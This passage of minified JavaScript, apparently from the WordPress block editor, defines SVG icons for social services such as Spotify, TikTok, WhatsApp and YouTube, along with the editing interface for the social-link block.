c-0.645,0-1.113,0.444-1.113,1.078c0,1.236,1.501,2.886,4.856,2.886C15.236,17.737,16.817,16.199,16.817,14.138z"})});var nS=o(L(),1),lA=o(v(),1),Wle=()=>(0,lA.jsx)(nS.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,lA.jsx)(nS.Path,{d:"M12.065,2a5.526,5.526,0,0,1,3.132.892A5.854,5.854,0,0,1,17.326,5.4a5.821,5.821,0,0,1,.351,2.33q0,.612-.117,2.487a.809.809,0,0,0,.365.091,1.93,1.93,0,0,0,.664-.176,1.93,1.93,0,0,1,.664-.176,1.3,1.3,0,0,1,.729.234.7.7,0,0,1,.351.6.839.839,0,0,1-.41.7,2.732,2.732,0,0,1-.9.41,3.192,3.192,0,0,0-.9.378.728.728,0,0,0-.41.618,1.575,1.575,0,0,0,.156.56,6.9,6.9,0,0,0,1.334,1.953,5.6,5.6,0,0,0,1.881,1.315,5.875,5.875,0,0,0,1.042.3.42.42,0,0,1,.365.456q0,.911-2.852,1.341a1.379,1.379,0,0,0-.143.507,1.8,1.8,0,0,1-.182.605.451.451,0,0,1-.429.241,5.878,5.878,0,0,1-.807-.085,5.917,5.917,0,0,0-.833-.085,4.217,4.217,0,0,0-.807.065,2.42,2.42,0,0,0-.82.293,6.682,6.682,0,0,0-.755.5q-.351.267-.755.527a3.886,3.886,0,0,1-.989.436A4.471,4.471,0,0,1,11.831,22a4.307,4.307,0,0,1-1.256-.176,3.784,3.784,0,0,1-.976-.436q-.4-.26-.749-.527a6.682,6.682,0,0,0-.755-.5,2.422,2.422,0,0,0-.807-.293,4.432,4.432,0,0,0-.82-.065,5.089,5.089,0,0,0-.853.1,5,5,0,0,1-.762.1.474.474,0,0,1-.456-.241,1.819,1.819,0,0,1-.182-.618,1.411,1.411,0,0,0-.143-.521q-2.852-.429-2.852-1.341a.42.42,0,0,1,.365-.456,5.793,5.793,0,0,0,1.042-.3,5.524,5.524,0,0,0,1.881-1.315,6.789,6.789,0,0,0,1.334-1.953A1.575,1.575,0,0,0,6,12.9a.728.728,0,0,0-.41-.618,3.323,3.323,0,0,0-.9-.384,2.912,2.912,0,0,1-.9-.41.814.814,0,0,1-.41-.684.71.71,0,0,1,.338-.593,1.208,1.208,0,0,1,.716-.241,1.976,1.976,0,0,1,.625.169,2.008,2.008,0,0,0,.69.169.919.919,0,0,0,.416-.091q-.117-1.849-.117-2.474A5.861,5.861,0,0,1,6.385,5.4,5.516,5.516,0,0,1,8.625,2.819,7.075,7.075,0,0,1,12.062,2Z"})});var iS=o(L(),1),sA=o(v(),1),$le=()=>(0,sA.jsx)(iS.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,sA.jsx)(iS.Path,{d:"M23.994 14.552a3.36 3.36 0 01-3.401 3.171h-8.176a.685.685 0 01-.679-.681V8.238a.749.749 0 01.452-.716S12.942 7 14.526 7a5.357 5.357 0 012.748.755 5.44 5.44 0 012.56 3.546c.282-.08.574-.12.868-.119a3.273 3.273 0 013.292 3.37zM10.718 8.795a.266.266 0 10-.528 0c-.224 2.96-.397 5.735 0 8.685a.265.265 0 00.528 0c.425-2.976.246-5.7 0-8.685zM9.066 9.82a.278.278 0 00-.553 0 33.183 33.183 0 000 7.663.278.278 0 00.55 0c.33-2.544.332-5.12.003-7.664zM7.406 9.56a.269.269 0 00-.535 0c-.253 2.7-.38 5.222 0 7.917a.266.266 0 10.531 0c.394-2.73.272-5.181.004-7.917zM5.754 10.331a.275.275 0 10-.55 0 28.035 28.035 0 000 7.155.272.272 0 00.54 0c.332-2.373.335-4.78.01-7.155zM4.087 12.12a.272.272 0 00-.544 0c-.393 1.843-.208 3.52.016 5.386a.26.26 0 00.512 0c.247-1.892.435-3.53.016-5.386zM2.433 11.838a.282.282 0 00-.56 0c-.349 1.882-.234 3.54.01 5.418.025.285.508.282.54 0 .269-1.907.394-3.517.01-5.418zM.762 12.76a.282.282 0 00-.56 0c-.32 1.264-.22 2.31.023 3.578a.262.262 0 00.521 0c.282-1.293.42-2.317.016-3.578z"})});var lS=o(L(),1),cA=o(v(),1),qle=()=>(0,cA.jsx)(lS.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,cA.jsx)(lS.Path,{d:"M12,2C6.477,2,2,6.477,2,12c0,5.523,4.477,10,10,10c5.523,0,10-4.477,10-10C22,6.477,17.523,2,12,2 M16.586,16.424 c-0.18,0.295-0.563,0.387-0.857,0.207c-2.348-1.435-5.304-1.76-8.785-0.964c-0.335,0.077-0.67-0.133-0.746-0.469 c-0.077-0.335,0.132-0.67,0.469-0.746c3.809-0.871,7.077-0.496,9.713,1.115C16.673,15.746,16.766,16.13,16.586,16.424 M17.81,13.7 c-0.226,0.367-0.706,0.482-1.072,0.257c-2.687-1.652-6.785-2.131-9.965-1.166C6.36,12.917,5.925,12.684,5.8,12.273 C5.675,11.86,5.908,11.425,6.32,11.3c3.632-1.102,8.147-0.568,11.234,1.328C17.92,12.854,18.035,13.335,17.81,13.7 M17.915,10.865 c-3.223-1.914-8.54-2.09-11.618-1.156C5.804,9.859,5.281,9.58,5.131,9.086C4.982,8.591,5.26,8.069,5.755,7.919 c3.532-1.072,9.404-0.865,13.115,1.338c0.445,0.264,0.59,0.838,0.327,1.282C18.933,10.983,18.359,11.129,17.915,10.865"})});var sS=o(L(),1),uA=o(v(),1),Zle=()=>(0,uA.jsx)(sS.SVG,{width:"24",height:"24",viewBox:"0 0 128 128",version:"1.1",children:(0,uA.jsx)(sS.Path,{d:"M28.9700376,63.3244248 C47.6273373,55.1957357 60.0684594,49.8368063 66.2934036,47.2476366 C84.0668845,39.855031 87.7600616,38.5708563 90.1672227,38.528 C90.6966555,38.5191258 91.8804274,38.6503351 92.6472251,39.2725385 C93.294694,39.7979149 93.4728387,40.5076237 93.5580865,41.0057381 C93.6433345,41.5038525 93.7494885,42.63857 93.6651041,43.5252052 C92.7019529,53.6451182 88.5344133,78.2034783 86.4142057,89.5379542 C85.5170662,94.3339958 83.750571,95.9420841 82.0403991,96.0994568 C78.3237996,96.4414641 75.5015827,93.6432685 71.9018743,91.2836143 C66.2690414,87.5912212 63.0868492,85.2926952 57.6192095,81.6896017 C51.3004058,77.5256038 55.3966232,75.2369981 58.9976911,71.4967761 C59.9401076,70.5179421 76.3155302,55.6232293 76.6324771,54.2720454 C76.6721165,54.1030573 76.7089039,53.4731496 76.3346867,53.1405352 C75.9604695,52.8079208 75.4081573,52.921662 75.0095933,53.0121213 C74.444641,53.1403447 65.4461175,59.0880351 48.0140228,70.8551922 C45.4598218,72.6091037 43.1463059,73.4636682 41.0734751,73.4188859 C38.7883453,73.3695169 34.3926725,72.1268388 31.1249416,71.0646282 C27.1169366,69.7617838 23.931454,69.0729605 24.208838,66.8603276 C24.3533167,65.7078514 25.9403832,64.5292172 28.9700376,63.3244248 Z"})});var cS=o(L(),1),mA=o(v(),1),Kle=()=>(0,mA.jsx)(cS.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,mA.jsx)(cS.Path,{d:"M16.3 11.3c-.1 0-.2-.1-.2-.1-.1-2.6-1.5-4-3.9-4-1.4 0-2.6.6-3.3 1.7l1.3.9c.5-.8 1.4-1 2-1 .8 0 1.4.2 1.7.7.3.3.5.8.5 1.3-.7-.1-1.4-.2-2.2-.1-2.2.1-3.7 1.4-3.6 3.2 0 .9.5 1.7 1.3 2.2.7.4 1.5.6 2.4.6 1.2-.1 2.1-.5 2.7-1.3.5-.6.8-1.4.9-2.4.6.3 1 .8 1.2 1.3.4.9.4 2.4-.8 3.6-1.1 1.1-2.3 1.5-4.3 1.5-2.1 0-3.8-.7-4.8-2S5.7 14.3 5.7 12c0-2.3.5-4.1 1.5-5.4 1.1-1.3 2.7-2 4.8-2 2.2 0 3.8.7 4.9 2 .5.7.9 1.5 1.2 2.5l1.5-.4c-.3-1.2-.8-2.2-1.5-3.1-1.3-1.7-3.3-2.6-6-2.6-2.6 0-4.7.9-6 2.6C4.9 7.2 4.3 9.3 4.3 12s.6 4.8 1.9 6.4c1.4 1.7 3.4 2.6 6 2.6 2.3 0 4-.6 5.3-2 1.8-1.8 1.7-4 1.1-5.4-.4-.9-1.2-1.7-2.3-2.3zm-4 3.8c-1 .1-2-.4-2-1.3 0-.7.5-1.5 2.1-1.6h.5c.6 0 1.1.1 1.6.2-.2 2.3-1.3 2.7-2.2 2.7z"})});var uS=o(L(),1),pA=o(v(),1),Qle=()=>(0,pA.jsx)(uS.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,pA.jsx)(uS.Path,{d:"M12.4044 3.01519C13.4086 3 14.4072 3.009 15.4045 3C15.465 4.14812 15.8874 5.31762 16.7472 6.12935C17.6053 6.96134 18.819 7.34217 20 7.47099V10.4912C18.8933 10.4558 17.7814 10.2308 16.7771 9.76499C16.3397 9.57148 15.9323 9.32227 15.5334 9.06745C15.5283 11.2591 15.5426 13.4479 15.5191 15.6305C15.4592 16.679 15.1053 17.7225 14.4814 18.5866C13.4777 20.025 11.7356 20.9627 9.94635 20.992C8.84885 21.0533 7.7525 20.7608 6.81729 20.2219C5.26743 19.3286 4.17683 17.6933 4.01799 15.9382C3.99957 15.563 3.99324 15.1883 4.00878 14.8221C4.14691 13.395 4.86917 12.0297 5.99027 11.101C7.26101 10.0192 9.04107 9.50397 10.7078 9.80886C10.7233 10.9199 10.6778 12.0297 10.6778 13.1407C9.91643 12.9 9.02668 12.9675 8.36139 13.4192C7.87566 13.7269 7.50675 14.1983 7.31453 14.7316C7.15569 15.1118 7.20116 15.5343 7.21036 15.9382C7.3928 17.169 8.60368 18.2035 9.89628 18.0916C10.7532 18.0826 11.5745 17.5965 12.0211 16.8849C12.1655 16.6357 12.3273 16.3809 12.3359 16.0878C12.4113 14.7462 12.3814 13.4102 12.3906 12.0685C12.3969 9.04495 12.3814 6.02979 12.4049 3.01575L12.4044 3.01519Z"})});var mS=o(L(),1),dA=o(v(),1),Yle=()=>(0,dA.jsx)(mS.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,dA.jsx)(mS.Path,{d:"M17.04 21.28h-3.28c-2.84 0-4.94-1.37-4.94-5.02v-5.67H6.08V7.5c2.93-.73 4.11-3.3 4.3-5.48h3.01v4.93h3.47v3.65H13.4v4.93c0 1.47.73 2.01 1.92 2.01h1.73v3.75z"})});var pS=o(L(),1),fA=o(v(),1),Xle=()=>(0,fA.jsx)(pS.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,fA.jsx)(pS.Path,{d:"M16.499,8.089h-1.636v4.91h1.636V8.089z M12,8.089h-1.637v4.91H12V8.089z M4.228,3.178L3,6.451v13.092h4.499V22h2.456 l2.454-2.456h3.681L21,14.636V3.178H4.228z M19.364,13.816l-2.864,2.865H12l-2.453,2.453V16.68H5.863V4.814h13.501V13.816z"})});var dS=o(L(),1),hA=o(v(),1),Jle=()=>(0,hA.jsx)(dS.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,hA.jsx)(dS.Path,{d:"M22.23,5.924c-0.736,0.326-1.527,0.547-2.357,0.646c0.847-0.508,1.498-1.312,1.804-2.27 c-0.793,0.47-1.671,0.812-2.606,0.996C18.324,4.498,17.257,4,16.077,4c-2.266,0-4.103,1.837-4.103,4.103 c0,0.322,0.036,0.635,0.106,0.935C8.67,8.867,5.647,7.234,3.623,4.751C3.27,5.357,3.067,6.062,3.067,6.814 c0,1.424,0.724,2.679,1.825,3.415c-0.673-0.021-1.305-0.206-1.859-0.513c0,0.017,0,0.034,0,0.052c0,1.988,1.414,3.647,3.292,4.023 c-0.344,0.094-0.707,0.144-1.081,0.144c-0.264,0-0.521-0.026-0.772-0.074c0.522,1.63,2.038,2.816,3.833,2.85 c-1.404,1.1-3.174,1.756-5.096,1.756c-0.331,0-0.658-0.019-0.979-0.057c1.816,1.164,3.973,1.843,6.29,1.843 c7.547,0,11.675-6.252,11.675-11.675c0-0.178-0.004-0.355-0.012-0.531C20.985,7.47,21.68,6.747,22.23,5.924z"})});var fS=o(L(),1),gA=o(v(),1),ese=()=>(0,gA.jsx)(fS.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,gA.jsx)(fS.Path,{d:"M22.396,7.164c-0.093,2.026-1.507,4.799-4.245,8.32C15.322,19.161,12.928,21,10.97,21c-1.214,0-2.24-1.119-3.079-3.359 c-0.56-2.053-1.119-4.106-1.68-6.159C5.588,9.243,4.921,8.122,4.206,8.122c-0.156,0-0.701,0.328-1.634,0.98L1.594,7.841 c1.027-0.902,2.04-1.805,3.037-2.708C6.001,3.95,7.03,3.327,7.715,3.264c1.619-0.156,2.616,0.951,2.99,3.321 c0.404,2.557,0.685,4.147,0.841,4.769c0.467,2.121,0.981,3.181,1.542,3.181c0.435,0,1.09-0.688,1.963-2.065 c0.871-1.376,1.338-2.422,1.401-3.142c0.125-1.187-0.343-1.782-1.401-1.782c-0.498,0-1.012,0.115-1.541,0.341 c1.023-3.35,2.977-4.977,5.862-4.884C21.511,3.066,22.52,4.453,22.396,7.164z"})});var hS=o(L(),1),vA=o(v(),1),tse=()=>(0,vA.jsx)(hS.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,vA.jsx)(hS.Path,{d:"M22,7.1c0.2,0.4-0.4,1.5-1.6,3.1c-0.2,0.2-0.4,0.5-0.7,0.9c-0.5,0.7-0.9,1.1-0.9,1.4c-0.1,0.3-0.1,0.6,0.1,0.8 c0.1,0.1,0.4,0.4,0.8,0.9h0l0,0c1,0.9,1.6,1.7,2,2.3c0,0,0,0.1,0.1,0.1c0,0.1,0,0.1,0.1,0.3c0,0.1,0,0.2,0,0.4 c0,0.1-0.1,0.2-0.3,0.3c-0.1,0.1-0.4,0.1-0.6,0.1l-2.7,0c-0.2,0-0.4,0-0.6-0.1c-0.2-0.1-0.4-0.1-0.5-0.2l-0.2-0.1 c-0.2-0.1-0.5-0.4-0.7-0.7s-0.5-0.6-0.7-0.8c-0.2-0.2-0.4-0.4-0.6-0.6C14.8,15,14.6,15,14.4,15c0,0,0,0-0.1,0c0,0-0.1,0.1-0.2,0.2 c-0.1,0.1-0.2,0.2-0.2,0.3c-0.1,0.1-0.1,0.3-0.2,0.5c-0.1,0.2-0.1,0.5-0.1,0.8c0,0.1,0,0.2,0,0.3c0,0.1-0.1,0.2-0.1,0.2l0,0.1 c-0.1,0.1-0.3,0.2-0.6,0.2h-1.2c-0.5,0-1,0-1.5-0.2c-0.5-0.1-1-0.3-1.4-0.6s-0.7-0.5-1.1-0.7s-0.6-0.4-0.7-0.6l-0.3-0.3 c-0.1-0.1-0.2-0.2-0.3-0.3s-0.4-0.5-0.7-0.9s-0.7-1-1.1-1.6c-0.4-0.6-0.8-1.3-1.3-2.2C2.9,9.4,2.5,8.5,2.1,7.5C2,7.4,2,7.3,2,7.2 c0-0.1,0-0.1,0-0.2l0-0.1c0.1-0.1,0.3-0.2,0.6-0.2l2.9,0c0.1,0,0.2,0,0.2,0.1S5.9,6.9,5.9,7L6,7c0.1,0.1,0.2,0.2,0.3,0.3 C6.4,7.7,6.5,8,6.7,8.4C6.9,8.8,7,9,7.1,9.2l0.2,0.3c0.2,0.4,0.4,0.8,0.6,1.1c0.2,0.3,0.4,0.5,0.5,0.7s0.3,0.3,0.4,0.4 c0.1,0.1,0.3,0.1,0.4,0.1c0.1,0,0.2,0,0.3-0.1c0,0,0,0,0.1-0.1c0,0,0.1-0.1,0.1-0.2c0.1-0.1,0.1-0.3,0.1-0.5c0-0.2,0.1-0.5,0.1-0.8 c0-0.4,0-0.8,0-1.3c0-0.3,0-0.5-0.1-0.8c0-0.2-0.1-0.4-0.1-0.5L9.6,7.6C9.4,7.3,9.1,7.2,8.7,7.1C8.6,7.1,8.6,7,8.7,6.9 C8.9,6.7,9,6.6,9.1,6.5c0.4-0.2,1.2-0.3,2.5-0.3c0.6,0,1,0.1,1.4,0.1c0.1,0,0.3,0.1,0.3,0.1c0.1,0.1,0.2,0.1,0.2,0.3 c0,0.1,0.1,0.2,0.1,0.3s0,0.3,0,0.5c0,0.2,0,0.4,0,0.6c0,0.2,0,0.4,0,0.7c0,0.3,0,0.6,0,0.9c0,0.1,0,0.2,0,0.4c0,0.2,0,0.4,0,0.5 c0,0.1,0,0.3,0,0.4s0.1,0.3,0.1,0.4c0.1,0.1,0.1,0.2,0.2,0.3c0.1,0,0.1,0,0.2,0c0.1,0,0.2,0,0.3-0.1c0.1-0.1,0.2-0.2,0.4-0.4 s0.3-0.4,0.5-0.7c0.2-0.3,0.5-0.7,0.7-1.1c0.4-0.7,0.8-1.5,1.1-2.3c0-0.1,0.1-0.1,0.1-0.2c0-0.1,0.1-0.1,0.1-0.1l0,0l0.1,0 c0,0,0,0,0.1,0s0.2,0,0.2,0l3,0c0.3,0,0.5,0,0.7,0S21.9,7,21.9,7L22,7.1z"})});var gS=o(L(),1),bA=o(v(),1),rse=()=>(0,bA.jsx)(gS.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,bA.jsx)(gS.Path,{d:"M 12.011719 2 C 6.5057187 2 2.0234844 6.478375 2.0214844 11.984375 C 2.0204844 13.744375 2.4814687 15.462563 3.3554688 16.976562 L 2 22 L 7.2324219 20.763672 C 8.6914219 21.559672 10.333859 21.977516 12.005859 21.978516 L 12.009766 21.978516 C 17.514766 21.978516 21.995047 17.499141 21.998047 11.994141 C 22.000047 9.3251406 20.962172 6.8157344 19.076172 4.9277344 C 17.190172 3.0407344 14.683719 2.001 12.011719 2 z M 12.009766 4 C 14.145766 4.001 16.153109 4.8337969 17.662109 6.3417969 C 19.171109 7.8517969 20.000047 9.8581875 19.998047 11.992188 C 19.996047 16.396187 16.413812 19.978516 12.007812 19.978516 C 10.674812 19.977516 9.3544062 19.642812 8.1914062 19.007812 L 7.5175781 18.640625 L 6.7734375 18.816406 L 4.8046875 19.28125 L 5.2851562 17.496094 L 5.5019531 16.695312 L 5.0878906 15.976562 C 4.3898906 14.768562 4.0204844 13.387375 4.0214844 11.984375 C 4.0234844 7.582375 7.6067656 4 12.009766 4 z M 8.4765625 7.375 C 8.3095625 7.375 8.0395469 7.4375 7.8105469 7.6875 C 7.5815469 7.9365 6.9355469 8.5395781 6.9355469 9.7675781 C 6.9355469 10.995578 7.8300781 12.182609 7.9550781 12.349609 C 8.0790781 12.515609 9.68175 15.115234 12.21875 16.115234 C 14.32675 16.946234 14.754891 16.782234 15.212891 16.740234 C 15.670891 16.699234 16.690438 16.137687 16.898438 15.554688 C 17.106437 14.971687 17.106922 14.470187 17.044922 14.367188 C 16.982922 14.263188 16.816406 14.201172 16.566406 14.076172 C 16.317406 13.951172 15.090328 13.348625 14.861328 13.265625 C 14.632328 13.182625 14.464828 13.140625 14.298828 13.390625 C 14.132828 13.640625 13.655766 14.201187 13.509766 14.367188 C 13.363766 14.534188 13.21875 14.556641 12.96875 14.431641 C 12.71875 14.305641 11.914938 14.041406 10.960938 13.191406 C 10.218937 12.530406 9.7182656 11.714844 9.5722656 11.464844 C 9.4272656 11.215844 9.5585938 11.079078 9.6835938 10.955078 C 9.7955938 10.843078 9.9316406 10.663578 10.056641 10.517578 C 10.180641 10.371578 10.223641 10.267562 10.306641 10.101562 C 10.389641 9.9355625 10.347156 9.7890625 10.285156 9.6640625 C 10.223156 9.5390625 9.737625 8.3065 9.515625 7.8125 C 9.328625 7.3975 9.131125 7.3878594 8.953125 7.3808594 C 8.808125 7.3748594 8.6425625 7.375 8.4765625 7.375 z"})});var vS=o(L(),1),yA=o(v(),1),ose=()=>(0,yA.jsx)(vS.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",xmlns:"http://www.w3.org/2000/svg",children:(0,yA.jsx)(vS.Path,{d:"M12.158,12.786L9.46,20.625c0.806,0.237,1.657,0.366,2.54,0.366c1.047,0,2.051-0.181,2.986-0.51 c-0.024-0.038-0.046-0.079-0.065-0.124L12.158,12.786z M3.009,12c0,3.559,2.068,6.634,5.067,8.092L3.788,8.341 C3.289,9.459,3.009,10.696,3.009,12z M18.069,11.546c0-1.112-0.399-1.881-0.741-2.48c-0.456-0.741-0.883-1.368-0.883-2.109 c0-0.826,0.627-1.596,1.51-1.596c0.04,0,0.078,0.005,0.116,0.007C16.472,3.904,14.34,3.009,12,3.009 c-3.141,0-5.904,1.612-7.512,4.052c0.211,0.007,0.41,0.011,0.579,0.011c0.94,0,2.396-0.114,2.396-0.114 C7.947,6.93,8.004,7.642,7.52,7.699c0,0-0.487,0.057-1.029,0.085l3.274,9.739l1.968-5.901l-1.401-3.838 C9.848,7.756,9.389,7.699,9.389,7.699C8.904,7.67,8.961,6.93,9.446,6.958c0,0,1.484,0.114,2.368,0.114 c0.94,0,2.397-0.114,2.397-0.114c0.485-0.028,0.542,0.684,0.057,0.741c0,0-0.488,0.057-1.029,0.085l3.249,9.665l0.897-2.996 C17.841,13.284,18.069,12.316,18.069,11.546z M19.889,7.686c0.039,0.286,0.06,0.593,0.06,0.924c0,0.912-0.171,1.938-0.684,3.22 l-2.746,7.94c2.673-1.558,4.47-4.454,4.47-7.771C20.991,10.436,20.591,8.967,19.889,7.686z M12,22C6.486,22,2,17.514,2,12 C2,6.486,6.486,2,12,2c5.514,0,10,4.486,10,10C22,17.514,17.514,22,12,22z"})});var bS=o(L(),1),xA=o(v(),1),ase=()=>(0,xA.jsx)(bS.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,xA.jsx)(bS.Path,{d:"M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z"})});var yS=o(L(),1),_A=o(v(),1),nse=()=>(0,_A.jsx)(yS.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,_A.jsx)(yS.Path,{d:"M12.271,16.718v1.417q-.011,3.257-.067,3.4a.707.707,0,0,1-.569.446,4.637,4.637,0,0,1-2.024-.424A4.609,4.609,0,0,1,7.8,20.565a.844.844,0,0,1-.19-.4.692.692,0,0,1,.044-.29,3.181,3.181,0,0,1,.379-.524q.335-.412,2.019-2.409.011,0,.669-.781a.757.757,0,0,1,.44-.274.965.965,0,0,1,.552.039.945.945,0,0,1,.418.324.732.732,0,0,1,.139.468Zm-1.662-2.8a.783.783,0,0,1-.58.781l-1.339.435q-3.067.981-3.257.981a.711.711,0,0,1-.6-.4,2.636,2.636,0,0,1-.19-.836,9.134,9.134,0,0,1,.011-1.857,3.559,3.559,0,0,1,.335-1.389.659.659,0,0,1,.625-.357,22.629,22.629,0,0,1,2.253.859q.781.324,1.283.524l.937.379a.771.771,0,0,1,.4.34A.982.982,0,0,1,10.609,13.917Zm9.213,3.313a4.467,4.467,0,0,1-1.021,1.8,4.559,4.559,0,0,1-1.512,1.417.671.671,0,0,1-.7-.078q-.156-.112-2.052-3.2l-.524-.859a.761.761,0,0,1-.128-.513.957.957,0,0,1,.217-.513.774.774,0,0,1,.926-.29q.011.011,1.327.446,2.264.736,2.7.887a2.082,2.082,0,0,1,.524.229.673.673,0,0,1,.245.68Zm-7.5-7.049q.056,1.137-.6,1.361-.647.19-1.272-.792L6.237,4.08a.7.7,0,0,1,.212-.691,5.788,5.788,0,0,1,2.314-1,5.928,5.928,0,0,1,2.5-.352.681.681,0,0,1,.547.5q.034.2.245,3.407T12.327,10.181Zm7.384,1.2a.679.679,0,0,1-.29.658q-.167.112-3.67.959-.747.167-1.015.257l.011-.022a.769.769,0,0,1-.513-.044.914.914,0,0,1-.413-.357.786.786,0,0,1,0-.971q.011-.011.836-1.137,1.394-1.908,1.673-2.275a2.423,2.423,0,0,1,.379-.435A.7.7,0,0,1,17.435,8a4.482,4.482,0,0,1,1.372,1.489,4.81,4.81,0,0,1,.9,1.868v.034Z"})});var xS=o(L(),1),kA=o(v(),1),ise=()=>(0,kA.jsx)(xS.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,kA.jsx)(xS.Path,{d:"M21.8,8.001c0,0-0.195-1.378-0.795-1.985c-0.76-0.797-1.613-0.801-2.004-0.847c-2.799-0.202-6.997-0.202-6.997-0.202 h-0.009c0,0-4.198,0-6.997,0.202C4.608,5.216,3.756,5.22,2.995,6.016C2.395,6.623,2.2,8.001,2.2,8.001S2,9.62,2,11.238v1.517 c0,1.618,0.2,3.237,0.2,3.237s0.195,1.378,0.795,1.985c0.761,0.797,1.76,0.771,2.205,0.855c1.6,0.153,6.8,0.201,6.8,0.201 s4.203-0.006,7.001-0.209c0.391-0.047,1.243-0.051,2.004-0.847c0.6-0.607,0.795-1.985,0.795-1.985s0.2-1.618,0.2-3.237v-1.517 C22,9.62,21.8,8.001,21.8,8.001z M9.935,14.594l-0.001-5.62l5.404,2.82L9.935,14.594z"})});function lse(e){return e?.name?{icon:e?.icon??Rb,label:e?.title??(0,wA.__)("Social Icon")}:{icon:Rb,label:(0,wA.__)("Social Icon")}}var Qt=o(v(),1),iwe=({url:e,setAttributes:t,setPopover:r,popoverAnchor:a,clientId:n})=>{let{removeBlock:i}=(0,_S.useDispatch)(cn.store);return(0,Qt.jsx)(cn.URLPopover,{anchor:a,"aria-label":(0,Fn.__)("Edit social link"),onClose:()=>{r(!1),a?.focus()},children:(0,Qt.jsx)("form",{className:"block-editor-url-popover__link-editor",onSubmit:l=>{l.preventDefault(),r(!1),a?.focus()},children:(0,Qt.jsx)("div",{className:"block-editor-url-input",children:(0,Qt.jsx)(cn.URLInput,{value:e,onChange:l=>t({url:l}),placeholder:(0,Fn.__)("Enter social link"),label:(0,Fn.__)("Enter social link"),hideLabelFromVision:!0,disableSuggestions:!0,onKeyDown:l=>{e||l.defaultPrevented||![Dg.BACKSPACE,Dg.DELETE].includes(l.keyCode)||i(n)},suffix:(0,Qt.jsx)(eo.__experimentalInputControlSuffixWrapper,{variant:"control",children:(0,Qt.jsx)(eo.Button,{icon:pT,label:(0,Fn.__)("Apply"),type:"submit",size:"small"})})})})})})},lwe=({attributes:e,context:t,isSelected:r,setAttributes:a,clientId:n,name:i})=>{let{url:l,service:s,label:c="",rel:u}=e,m=W(),{showLabels:p,iconColor:d,iconColorValue:f,iconBackgroundColor:h,iconBackgroundColorValue:g}=t,[b,y]=(0,$d.useState)(!1),_=w("wp-social-link","wp-block-social-link","wp-social-link-"+s,{"wp-social-link__is-incomplete":!l,[`has-${d}-color`]:d,[`has-${h}-background-color`]:h}),[x,k]=(0,$d.useState)(null),S=(0,cn.useBlockEditingMode)()==="contentOnly",{activeVariation:C}=(0,_S.useSelect)(R=>{let{getActiveBlockVariation:F}=R(cse.store);return{activeVariation:F(i,e)}},[i,e]),{icon:E,label:B}=lse(C),D=c.trim()===""?B:c,M=(0,$d.useRef)(),O=(0,cn.useBlockProps)({className:"wp-block-social-link-anchor",ref:(0,sse.useMergeRefs)([k,M]),onClick:()=>y(!0),onKeyDown:R=>{R.keyCode===Dg.ENTER&&(R.preventDefault(),y(!0))}});return(0,Qt.jsxs)(Qt.Fragment,{children:[S&&p&&(0,Qt.jsx)(cn.BlockControls,{group:"other",children:(0,Qt.jsx)(eo.Dropdown,{popoverProps:{placement:"bottom-start"},renderToggle:({isOpen:R,onToggle:F})=>(0,Qt.jsx)(eo.ToolbarButton,{onClick:F,"aria-haspopup":"true","aria-expanded":R,children:(0,Fn.__)("Text")}),renderContent:()=>(0,Qt.jsx)(eo.TextControl,{__next40pxDefaultSize:!0,className:"wp-block-social-link__toolbar_content_text",label:(0,Fn.__)("Text"),help:(0,Fn.__)("Provide a text label or use the default."),value:c,onChange:R=>a({label:R}),placeholder:B})})}),(0,Qt.jsx)(cn.InspectorControls,{children:(0,Qt.jsx)(eo.__experimentalToolsPanel,{label:(0,Fn.__)("Settings"),resetAll:()=>{a({label:void 0})},dropdownMenuProps:m,children:(0,Qt.jsx)(eo.__experimentalToolsPanelItem,{isShownByDefault:!0,label:(0,Fn.__)("Text"),hasValue:()=>!!c,onDeselect:()=>{a({label:void 0})},children:(0,Qt.jsx)(eo.TextControl,{__next40pxDefaultSize:!0,label:(0,Fn.__)("Text"),help:(0,Fn.__)("The text is visible when enabled from the parent Social Icons block."),value:c,onChange:R=>a({label:R}),placeholder:B})})})}),(0,Qt.jsx)(cn.InspectorControls,{group:"advanced",children:(0,Qt.jsx)(eo.TextControl,{__next40pxDefaultSize:!0,label:(0,Fn.__)("Link relation"),help:(0,$d.createInterpolateElement)((0,Fn.__)("The <a>Link Relation</a> attribute defines the relationship between a linked resource and the current document."),{a:(0,Qt.jsx)(eo.ExternalLink,{href:"https://developer.mozilla.org/docs/Web/HTML/Attributes/rel"})}),value:u||"",onChange:R=>a({rel:R})})}),(0,Qt.jsxs)("li",{role:"presentation",className:_,style:{color:f,backgroundColor:g},children:[(0,Qt.jsxs)("button",{"aria-haspopup":"dialog",...O,role:"button",children:[(0,Qt.jsx)(eo.Icon,{icon:E}),(0,Qt.jsx)("span",{className:w("wp-block-social-link-label",{"screen-reader-text":!p}),children:D})]}),r&&b&&(0,Qt.jsx)(iwe,{url:l,setAttributes:a,setPopover:y,popoverAnchor:x,clientId:n})]})]})},use=lwe;var kS={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/social-link",title:"Social Icon",category:"widgets",parent:["core/social-links"],description:"Display an icon linking to a social profile or 